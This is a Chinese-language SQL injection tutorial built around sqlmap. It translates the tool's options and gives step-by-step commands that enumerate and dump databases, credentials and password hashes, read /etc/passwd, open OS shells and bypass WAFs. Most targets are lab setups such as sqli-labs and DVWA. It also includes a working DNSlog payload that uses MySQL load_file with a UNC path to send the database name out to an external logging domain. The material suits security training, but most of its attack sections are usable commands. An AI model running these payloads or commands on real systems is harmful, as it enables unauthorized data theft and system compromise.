sqlmap 官网:http://sqlmap.org/
sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage
sqlmap 使用 思维导图:http://download.csdn.net/detail/freeking101/9887831
黑帽与白帽都喜爱的十大SQL注入工具:http://www.aqniu.com/industry/1449.html
国内外 SQL 神器 :http://blog.csdn.net/heimian/article/details/7080822
SQL注入攻击与防御:https://www.jianshu.com/p/ba35a7e1c67d
SQL注入 ( SQL Injection ) 就是通过把 SQL 命令插入到 Web表单提交 或 输入域名 或 页面URL请求查询的字符串,最终达到欺骗服务器执行恶意的 SQL命令,如果管理员没有对 id 参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询。
其实就是:改变原来的 sql 语句,导致 sql 执行结果发生改变。
具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.(来源于百度)
也就是说网站页面包含与数据库交互的部分(例如新闻网站的查找功能),而当在网站输入数据信息,数据信息被程序化后传入数据库执行的过程中,网站的开发人员没有对这些传入数据库的相应数据做安全处理(比如过滤特殊字符、编码等),导致黑客可以将恶意代码(也就是包含非法SQL语句的SQL命令)通过网站前段传入数据库,并在数据库中执行这些具有黑客目的的SQL语句,从而造成数据库信息泄露、损坏等后果。
SQL注入的一般分类,按照注入点类型来分类
如何判断是否存在SQL注入?
简单点讲就是:所有的输入,只要和数据库进行交互的,都有可能触发SQL注入
SQL注入按照数据提交的方式可分为:
根据提交方式分类后,你会发现SQL注入最长发生的位置在链接地址、数据参数、cookie信息以及HTTP请求头等位置。了解了可能存在SQL注入的位置,然后我们需要判断在这些位置上是否能够触发SQL注入,最简单的方式就是在相应位置输入and 1=1 (以及and 1=1 的变换形式)来判断。对于不同的注入点类型,比如字符型需要适当添加单引号,而对于数字型的注入点则不需要。
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。目前支持的数据库有 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access 等几乎所有数据库。
sqlmap 全面支持 6 种 SQL注入技术:
宽字节注入:利用gbk是多字节的编码,两个字节代表一个汉字
原理:
根据 dnslog 原理,既然 dns 请求可以,那么 http 请求也可以。
:https://blog.csdn.net/weixin_47559704/article/details/122473265
在 sql 注入时,布尔盲注、时间盲注,注入的效率低且线程高容易被 waf 拦截,又或者是目标站点没有回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到DNSlog 注入。首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。
DNS 在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
格式:\servername\sharename,其中 servername 是服务器名。sharename是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
其实平常在 Widnows中用共享文件的时候就会用到这种网络地址的形式:\sss.xxx\test 。
这也就解释了为什么 CONCAT() 函数拼接了4个 \ ,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。
例如:http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.vlfrr9.dnslog.cn\\abc')))--+&Submit=Submit#
这里concat函数拼接了4个\最后变成2个\
:http://www.dnslog.cn
:http://admin.dnslog.link
可以发起 http 请求,需要注册:http://ceye.io
通过 DNSlog 盲注需要用的 load_file() 函数,所以一般得是 root 权限。show variables like ‘%secure%’; 查看 load_file() 可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
如果为Null解决如下:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
show variables like '%secure%';
通过设置 my.ini 来配置。secure_file_priv="" 就是可以 load_flie 任意磁盘的文件。
以管理员身份打开 cmd 重启后
net stop mysql
net start mysql
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.fl1ka5.dnslog.cn\\abc')))--+&Submit=Submit#
这里使用的是http://www.dnslog.cn/
点击Get SubDomain,将获取的dnslog替换掉,执行以后点击Refresh Record,这样就查询到了我们所需要的数据库名称。表名,字段名亦是如此。
dnslogsql 注入工具:https://github.com/search?q=dnslog
sqlmap 官网:http://sqlmap.org/ Sqlmap 的安装需要Python环境,最新版可以运行在 Python 2.6, 2.7 和 3.x 版本的任何平台上。下载完成后可以添加进环境变量,方便使用(不添加也可以用)
sqlmap 参数的 2 种写法:
- sqlmap.py -u "url" --tamper "xxx.py"
- sqlmap.py -u "url" --tamper="xxx.py"
选项:
-h, --help 基本帮助信息
-hh 高级帮助信息
--version 版本号
-v VERBOSE 详细级别:0-6(默认为 1)目标:( 即 http 请求的 url。下面几个参数至少要有一个 )
-u URL,--url=URL 目标 URL ( 例如 http://www.site.com/vuln.php?id=1 )
-d DIRECT 直接连接数据库的连接字符串
-l LOGFILE 从 Burp 或 WebScarab 代理日志文件中解析目标
-m BULKFILE 扫描文本文件中给定的多个目标
-r REQUESTFILE 从文件加载 HTTP 请求
-g GOOGLEDORK 将 Google dork 结果作为目标 URL 处理
-c CONFIGFILE 从配置 INI 文件加载选项http 请求的相关设置:( 指定如何连接到目标 URL )
-A AGENT, --user.. HTTP User-Agent 标头值
-H HEADER, --hea.. 额外的标题(例如“X-Forwarded-For: 127.0.0.1”)
--method=METHOD 强制使用给定的 HTTP 方法(例如 PUT)
--data=DATA 通过 POST 发送的数据字符串(例如 id=1)
--param-del=PARA.. 用于分割参数值的字符(例如 &)
--cookie=COOKIE Cookie 标头值(例如“PHPSESSID=a8d127e..”)
--cookie-del=COO.. 用于分割 cookie 值的字符(例如 ;)
--live-cookies=L.. 用于加载最新值的实时 cookie 文件
--load-cookies=L.. 包含 Netscape/wget 格式的 cookie 的文件
--drop-set-cookie 忽略响应中的 Set-Cookie 标头
--mobile 通过 HTTP User-Agent header 模仿智能手机
--random-agent 构造随机 user-agent
--host=HOST HTTP 主机标头值
--referer=REFERER HTTP 引用头值
--headers=HEADERS 额外的标题(例如“Accept-Language: fr\nETag: 123”)
--auth-type=AUTH.. HTTP 认证类型(Basic、Digest、Bearer、...)
--auth-cred=AUTH.. HTTP 身份验证凭据(名称:密码)
--auth-file=AUTH.. HTTP 认证 PEM 证书/私钥文件
--ignore-code=IG.. 忽略(有问题的)HTTP 错误代码(例如 401)
--ignore-proxy 忽略系统默认代理设置
--ignore-redirects 忽略重定向尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理连接到目标 URL。示例:--proxy=http://local:8080
--proxy-cred=PRO.. 代理身份验证凭据(名称:密码)
--proxy-file=PRO.. 从文件加载代理列表
--proxy-freq=PRO.. 从给定列表更改代理之间的请求
--tor 使用 Tor 匿名网络
--tor-port=TORPORT 设置 Tor 代理端口不是默认端口
--tor-type=TORTYPE 设置 Tor 代理类型(HTTP、SOCKS4 或 SOCKS5(默认))
--check-tor 检查 Tor 是否正确使用
--delay=DELAY 每个 HTTP 请求之间的延迟秒数
--timeout=TIMEOUT 连接超时前等待的秒数(默认 30)
--retries=RETRIES 连接超时重试(默认3)
--retry-on=RETRYON 对正则表达式匹配内容的重试请求(例如“drop”)
--randomize=RPARAM 随机更改给定参数的值
--safe-url=SAFEURL 测试时经常访问的URL地址
有的 web 程序会在多次错误访问后屏蔽所有请求,
这样就导致之后所有的测试无法进行,
使用 --safe-url,每隔一段时间去访问一个正常的页面。
--safe-post=SAFE.. POST 数据发送到一个安全的 URL
--safe-req=SAFER.. 从文件加载安全的 HTTP 请求
--safe-freq=SAFE.. 访问安全 URL 之间的定期请求
--skip-urlencode 跳过有效载荷数据的 URL 编码
--csrf-token=CSR.. 用于保存anti-CSRF令牌的参数
--csrf-url=CSRFURL 提取反 CSRF 令牌要访问的 URL 地址
--csrf-method=CS.. 在反 CSRF 令牌页面访问期间使用的 HTTP 方法
--csrf-retries=C.. 重试反 CSRF 令牌检索(默认 0)
--force-ssl 强制使用 SSL/HTTPS
--chunked 使用 HTTP 分块传输编码 (POST) 请求
--hpp 使用 HTTP 参数污染方式
HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,
这个对ASP/IIS与ASP.NET/IIS平台很有效。
--eval=EVALCODE 在请求之前评估提供的 Python 代码
(例如"导入 hashlib;id2=hashlib.md5(id).hexdigest()")
优化:( 用来优化 sqlmap 的性能 )
-o 打开所有优化开关
--predict-output 预测常见查询输出
--keep-alive 使用持久的 HTTP(s) 连接。即保持连接
--null-connection 在没有实际 HTTP 响应正文的情况下检索页面长度
--threads=THREADS 最大并发 HTTP(s) 请求数(默认 1)注入:( 用于指定要测试的参数,提供自定义注入payload和可选的篡改脚本 )
-p TESTPARAMETER 要测试的参数
--skip=SKIP 测试时跳过的参数
当使用的 --level 值很大,但有个别参数不想测试时可以使用
--skip-static 跳过看起来不是动态的测试参数。
--param-exclude=.. 使用正则排除要测试的参数(例如“ses”)
--param-filter=P.. 按位置选择可测试的参数(例如“POST”)
--dbms=DDBMS 指定数据库类型。示例:--dbms=mysql
--dbms-cred=DBMS.. DBMS 身份验证凭据(用户:密码)
--os=OS 强制后端 DBMS 操作系统为提供的值
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑运算使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效载荷投射机制
--no-escape 关闭字符串转义机制
--prefix=PREFIX 注入负载 的 前缀字符串
--suffix=SUFFIX 注入载荷 的 后缀字符串
--tamper=TAMPER 使用给定的脚本来篡改注入数据检测:( 用于自定义检测阶段 )
--level=LEVEL 要执行的测试级别(1-5,默认 1)
--risk=RISK 执行测试的风险(1-3,默认1)
--string=STRING 查询评估为 True 时匹配的字符串
--not-string=NOT.. 查询评估为 False 时匹配的字符串
--regexp=REGEXP 查询评估为 True 时匹配的正则表达式
--code=CODE 查询评估为 True 时匹配的 HTTP 代码
--smart 仅在积极的启发式方法时执行彻底的测试,启发式判断注入
有时对目标非常多的URL进行测试,为节省时间只对能够快速判断为注入的报错点进行注入
--text-only 仅根据文本内容比较页面
--titles 仅根据标题比较页面注入使用的技术:( 用于调整特定 SQL 注入的测试技术 )
--technique=TECH.. 要使用的 SQL 注入技术(默认“BEUSTQ”)
--time-sec=TIMESEC 延迟 DBMS 响应的秒数(默认 5)。设定延迟注入的时间
--union-cols=UCOLS 用于测试 UNION 查询 SQL 注入的列范围。
默认情况下 sqlmap 测试 UNION 查询注入会测试1-10个字段数,
当--level为5的时候他会增加测试到50个字段数。
--union-cols 值是一段整数,如:12-16,是测试12-16个字段数
--union-char=UCHAR 用于强制列数的字符
设定UNION查询使用的字符。参数:--union-char
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,
但是有些情况下会造成页面返回失败,而一个随机整数是成功的,
这时你可以用--union-char只定UNION查询的字符。
--union-from=UFROM 表在 UNION 查询 SQL 注入的 FROM 部分中使用
--dns-domain=DNS.. 用于 DNS 渗透攻击的域名
--second-url=SEC.. 搜索二阶响应的结果页面 URL
--second-req=SEC.. 从文件加载二阶 HTTP 请求指纹:
-f, --fingerprint 执行广泛的 DBMS 版本指纹枚举:( 用于枚举后端数据库管理系统信息、结构和数据包含在表 )
-a, --all 检索所有内容
-b, --banner 检索 DBMS 横幅
--current-user 检索 DBMS 当前用户
--current-db 检索 DBMS 当前数据库
--hostname 检索 DBMS 服务器主机名
--is-dba 检测 DBMS 当前用户是否为 DBA
--users 枚举 DBMS 用户
--passwords 枚举 DBMS 用户密码哈希
--privileges 枚举 DBMS 用户权限
--roles 枚举 DBMS 用户角色
--dbs 枚举 DBMS 数据库
--tables 枚举 DBMS 数据库表
--columns 枚举 DBMS 数据库表列
--schema 枚举 DBMS 模式
--count 检索表的条目数
--dump 转储 DBMS 数据库表条目
--dump-all 转储所有 DBMS 数据库表条目
--search 搜索列、表和/或数据库名称
--comments 在枚举期间检查 DBMS 注释
--statements 检索在 DBMS 上运行的 SQL 语句
-D DB DBMS 数据库枚举
-T TBL DBMS 数据库表枚举
-C COL DBMS 数据库表列枚举
-X EXCLUDE DBMS 数据库标识符不枚举
-U USER DBMS 用户枚举
--exclude-sysdbs 枚举表时排除 DBMS 系统数据库
--pivot-column=P.. 透视列名
--where=DUMPWHERE 在表转储时使用 WHERE 条件
--start=LIMITSTART 要检索的第一个转储表条目
--stop=LIMITSTOP 要检索的最后一个转储表条目
--first=FIRSTCHAR 要检索的第一个查询输出单词字符
--last=LASTCHAR 最后查询输出要检索的单词字符
--sql-query=SQLQ.. 要执行的SQL语句
--sql-shell 提示交互式 SQL shell
--sql-file=SQLFILE 从给定文件执行 SQL 语句爆 破:( 用于运行蛮力检查 )
--common-tables 检查公用表是否存在
--common-columns 检查公共列是否存在
--common-files 检查公共文件是否存在
用户自定义函数注入:( 用于创建自定义的用户定义函数 )
--udf-inject 注入用户定义的函数
--shared-lib=SHLIB 共享库的本地路径
文件系统访问:( 用于访问后端数据库管理系统底层文件系统 )
--file-read=FILE.. 从后端 DBMS 文件系统读取文件
--file-write=FIL.. 往后端 DBMS 文件系统上写入本地文件
--file-dest=FILE.. 要写入的后端 DBMS 绝对文件路径
操作系统访问:( 用于访问后端数据库管理系统底层操作系统 )
--os-cmd=OSCMD 执行操作系统命令
--os-shell 提示交互式操作系统外壳
--os-pwn 提示 OOB shell、Meterpreter 或 VNC
--os-smbrelay 一键提示 OOB shell、Meterpreter 或 VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH 安装 Metasploit 框架的本地路径
--tmp-path=TMPPATH 临时文件目录的远程绝对路径
Windows 注册表访问:( 用于访问后端数据库管理系统 Windows 注册表 )
--reg-read 读取 Windows 注册表键值
--reg-add 写入一个 Windows 注册表键值数据
--reg-del 删除 Windows 注册表项值
--reg-key=REGKEY Windows 注册表项
--reg-value=REGVAL Windows 注册表项值
--reg-data=REGDATA Windows 注册表键值数据
--reg-type=REGTYPE Windows 注册表键值类型通用设置:( 设置工作时通用的参数 )
-s SESSIONFILE 从存储的 (.sqlite) 文件中加载会话
-t TRAFFICFILE 将所有 HTTP 流量记录到文本文件中
--answers=ANSWERS 设置预定义的答案(例如“quit=N,follow=N”)
--base64=BASE64P.. 包含 Base64 编码数据的参数
--base64-safe 使用 URL 和文件名安全的 Base64 字母 (RFC 4648)
--batch 不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--binary-fields=.. 具有二进制值的结果字段(例如“digest”)
--check-internet 在评估目标之前检查 Internet 连接
--cleanup 清除sqlmap注入时产生的udf与表
--crawl=CRAWLDEPTH 爬取的深度。从目标 URL 开始爬取网站
--crawl-exclude=.. 正则表达式从抓取中排除页面(例如“注销”)
--csv-del=CSVDEL CSV 输出中使用的分隔符(默认为“,”)
--charset=CHARSET 盲注 SQL 字符集(例如“0123456789abcdef”)
不使用自动识别的(如HTTP头中的Content-Type)字符编码,
强制指定字符编码。示例:--charset=GBK
--dump-format=DU.. 转储数据的格式(CSV(默认)、HTML 或 SQLITE)
--encoding=ENCOD.. 用于数据检索的字符编码(例如 GBK)
--eta 显示注入数据的剩余时间。
--flush-session 刷新当前目标的会话文件。
果不想用之前缓存这个目标的session文件,可以使用这个参数。
会清空之前的session,重新测试该目标。
--forms 在目标 URL 上解析和测试表单。
自动从-u 中的 url 获取页面中的表单进行测试。
--fresh-queries 忽略存储在会话文件中的查询结果。
忽略session文件保存的查询,重新查询。
--gpage=GOOGLEPAGE 使用指定页码的 Google dork 结果
--har=HARFILE 将所有 HTTP 流量记录到 HAR 文件中
--hex 在数据检索期间使用十六进制转换
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
--output-dir=OUT.. 自定义输出目录路径
--parse-errors 从响应中解析并显示 DBMS 错误消息
--preprocess=PRE.. 使用给定的脚本进行预处理(请求)
--postprocess=PO.. 使用给定的脚本进行后处理(响应)
--repair 具有未知字符标记 (?) 的 Redump 条目
--save=SAVECONFIG 将选项保存到配置 INI 文件
--scope=SCOPE 用于过滤目标的正则表达式
--skip-heuristics 跳过漏洞的启发式检测
--skip-waf 跳过 WAF/IPS 保护的启发式检测
--table-prefix=T.. 用于临时表的前缀(默认值:“sqlmap”)
--test-filter=TE.. 按有效负载和/或标题(例如 ROW)选择测试
--test-skip=TEST.. 按有效负载和/或标题跳过测试(例如 BENCHMARK)
--web-root=WEBROOT Web 服务器文档根目录(例如“/var/www”)其他设置:
-z MNEMONICS 使用简短的助记符(例如“flu,bat,ban,tec=EU”)。
有使用参数太长太复杂,可以使用缩写模式
--alert=ALERT 发现 SQL 注入时运行主机操作系统命令
--beep 发现SQL注入时发出蜂鸣声
--dependencies 检查缺失(可选)的 sqlmap 依赖项
--disable-coloring 禁用控制台彩色输出
--list-tampers 显示可用的篡改脚本列表
--no-logging 禁用记录到文件
--offline 在离线模式下工作(仅使用会话数据)
--purge 从 sqlmap 数据目录中安全删除所有内容,删除 output目录的文件
--results-file=R.. 多目标模式下 CSV 结果文件的位置
--shell 提示交互式 sqlmap shell
--tmp-dir=TMPDIR 存放临时文件的本地目录
--unstable 调整不稳定连接的选项
--update 更新sqlmap
--wizard 适合初学者的简单向导界面。示例:sqlmap --wizard
sqlmap 输出级别:对一个注入点进行测试时,可以使用 -v x 显示详细过程,默认是 1。-v 可以查看 sqlmap 对一个点进行了怎样的尝试判断以及读取数据的,如果想看到 sqlmap 发送的测试 payload 最好的等级就是 3。示例:sqlmap.py -v 3 -u "http://www.xxx.com/a.php?id=x"
sqlmap 的缩写模式:参数:-z 如果使用参数太长太复杂,可以简化,使用 " 缩写模式 "。
示例:python sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
可以写成:python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
示例:python sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
可以写成:python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
http 请求相关设置。可以设定 HTTP(S) 请求的并发数来提高盲注时的效率。
实例演示 - sqlmap 注入检测
1. GET 参数 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"2. POST 参数 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1" --data="id=1"3. cookie 注入 (level>=2时才会检测cookie)
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 2
用 * 号指定cookie,这样就可以检测cookie。
sqlmap -r"/root/1.txt"4. user-agent 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3
用 * 号指定user-agent,这样就可以检测user-agent。
sqlmap -r"/root/1.txt"5. referer 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3
用 * 号指定referer,这样就可以检测referer。
sqlmap -r"/root/1.txt"6. host 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 5
用 * 号指定host,这样就可以检测host。
sqlmap -r"/root/1.txt"
注入:成功执行并得到数据,才叫注入。
注入技术:为了成功执行并得到数据而使用的技术叫做注入技术
注入payload
参数:--prefix,--suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
这时你就需要--prefix和--suffix参数了:python sqlmap.py -u "http://192.168.0.3/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=('1')
本地环境 ( "http://192.168.0.3/sqli_labs/index.html" ) :
1、sqlmap -u 注入点 // 扫描注入点
2、sqlmap -g "关键词" // 这是通过google搜索注入。
3、python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1
4、指定参数注入
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id"
5、指定方法和post的数据
python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"
6、指定cookie,可以注入一些需要登录的地址
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE"
7、通过代理注入
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118"
8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE"
9、--dbms 指定数据,这样就不用猜测其他的数据库里。可以提高效率。
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 --dbs
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test --tables
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin --columns
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin -C "username,password" --dump
10、指纹判别数据库类型
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f
11、获取banner信息
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b
12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema"
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql"
13、显示指定的文件内容,一般用于php
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file-read /etc/passwd
14、执行你自己的sql语句。
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --sql-query="SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1"
15、union注入
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union-check
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --union-use --banner
16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log"
python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume
关于 waf:https://www.bilibili.com/video/BV1jL4y1j7i6?p=51
如何使用 SQLMap绕过 WAF:http://www.freebuf.com/articles/1000.html
绕过WAF、安全狗知识整理:http://blog.csdn.net/hxsstar/article/details/24771085
tamper 一些脚本说明:http://blog.csdn.net/hxsstar/article/details/22782627
sqlmap 的 tamper 目录下有用于绕过 waf 的脚本 ( KALI目录位置:/usr/share/sqlmap/tamper/ )。
如果找不到所在位置,可以使用 find 查找:find / -type d -name "sqlmap" -print
修改注入的数据,sqlmap 除了使用 CHAR() 函数来防止出现单引号之外没有对注入的数据修改,还可以使用--tamper 参数对数据做修改来绕过 WAF 等设备。
示例:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
--dump 意思为:转储、转存,可以理解为下载数据,即 读取和保存。慎用,容易进号子
sqlmap.py -u "注入地址" -v 1 --dbs // 列举数据库
sqlmap.py -u "注入地址" -v 1 --current-db // 当前数据库
sqlmap.py -u "注入地址" -v 1 --users // 列数据库用户
sqlmap.py -u "注入地址" -v 1 --current-user // 当前用户
sqlmap.py -u "注入地址" -v 1 --tables -D "数据库" // 列举数据库的表名
sqlmap.py -u "注入地址" -v 1 --columns -T "表名" -D "数据库" // 获取表的列名// 获取表中的数据,包含列,已经就开始拖库,获取的数据存储sqlmap/output/ 目录。
sqlmap.py -u "注入地址" -v 1 --dump -C "字段,字段" -T "表名" -D "数据库"参数:--dump-all, --exclude-sysdbs
dump 后文件默认路径:/root/.local/share/sqlmap/output
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --count
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --dump -D security -T users
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --dump-all --exclude-sysdbs -D security -T
access、MySQL、sqlserver
ACCESS 注入:
sqlmap.py -u "url" /* -u为常规扫描参数 */
sqlmap.py -u "url" --tables /* --tables猜数据库表 */
sqlmap.py -u "url" --columns -T "表名" /* 列出指定表名。爆字段 */
/* --dump为拆解字段名会保存在sqlmap/output目录下。暴内容 */
sqlmap.py -u "url" --dump(脱裤) -T "表名" -C "字段名"MYSQL 注入:
sqlmap.py -u "url" /* 扫描注入点 */
sqlmap.py -u "url" --dbs /* 列出所有数据库 */
sqlmap.py -u "url" --current-db /* 列出当前数据库 */
sqlmap.py -u "url" --current-user /* 列出当前用户 */
sqlmap.py -u "url" --tables -D "数据库名" /* 拆解数据库表 */
sqlmap.py -u "url" --columns -T "表名" -D "数据库名" /* 拆解指定表字段名。即爆字段 */
sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "数据库" /* 即爆内容 */SQLSERVER 数据库:
sqlmap.py -u "url" /*扫描注入点*/
sqlmap.py -u "url" --dbs /*列出所有数据库*/
sqlmap.py -u "url" --current-db /*列出当前数据库*/
sqlmap.py -u "url" --current-user /*列出当前用户*/
sqlmap.py -u "url" --tables -D "当前数据库名" /*拆解当前数据库表*/
sqlmap.py -u "url" --columns -T "要拆得的表名" -D "当前数据库名" /*拆解指定表字段名*/
sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "当前数据库"
参数:--technique 这个参数可以指定 sqlmap 使用的探测技术,默认情况下会测试所有的方式。支持的探测方式如下:
URL 最好使用 英文的双引号 包括
命令格式:sqlmap -u "http://www.vuln.cn/post.php?id=1"
假设目标注入点是 http://192.168.0.3/sqli_labs/Less-1/?id=3,判断其是否存在注入的命令如下:
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3
结果显示存在注入:
当注入点后面的参数大于等于2个时,需要加双引号:sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2" 运行完成后,爆出一大段代码,这里有三处需要选择的地方:
从 txt 文件中加载 HTTP 请求,sqlmap 可以从一个文本文件中获取 HTTP 请求,这样就可以不设置其他参数(如 cookie、POST 数据等),txt 文件中的内容为 Web 数据包,
如下:使用 fiddler 抓包
命令: sqlmap -r 5_Full.txt
sqlmap -r "c:\tools\request.txt" -p "username" --dbms=mysql 指定username参数
比如文本文件内如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,
或者你可以在Host头后面加上:443
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库,如图所示:
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --dbs
从图中可以看到,查询出了6个数据库及所有数据库的库名。当继续注入时,--dbs 缩写成 -D xxx,其意思是在 xxx 数据库中继续查询其他数据。
该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下所示。如果在该命令中不加入 -D 参数来指定某一个具体的数据库,那么 Sqlmap 会列出数据库中所有库的表。
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 -D security --tables
从图中可以看到 security 数据库中拥有的 4 个数据表。当继续注入时,--tables 缩写成 -T,意思是在某表中继续查询。
该命令的作用是查询完表名后,查询该表中所有的字段名。
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 -T users --columns
从图中可以看到在 security 数据库中的 users 表中一共有3个字段。在后续的注入中,--columns 缩写成-C。
该命令是查询完字段名之后,获取该字段中具体的数据信息
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 -D security -T users -C username,password --dump
参数:--dump,-C,-T,-D,--start,--stop,--first,--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
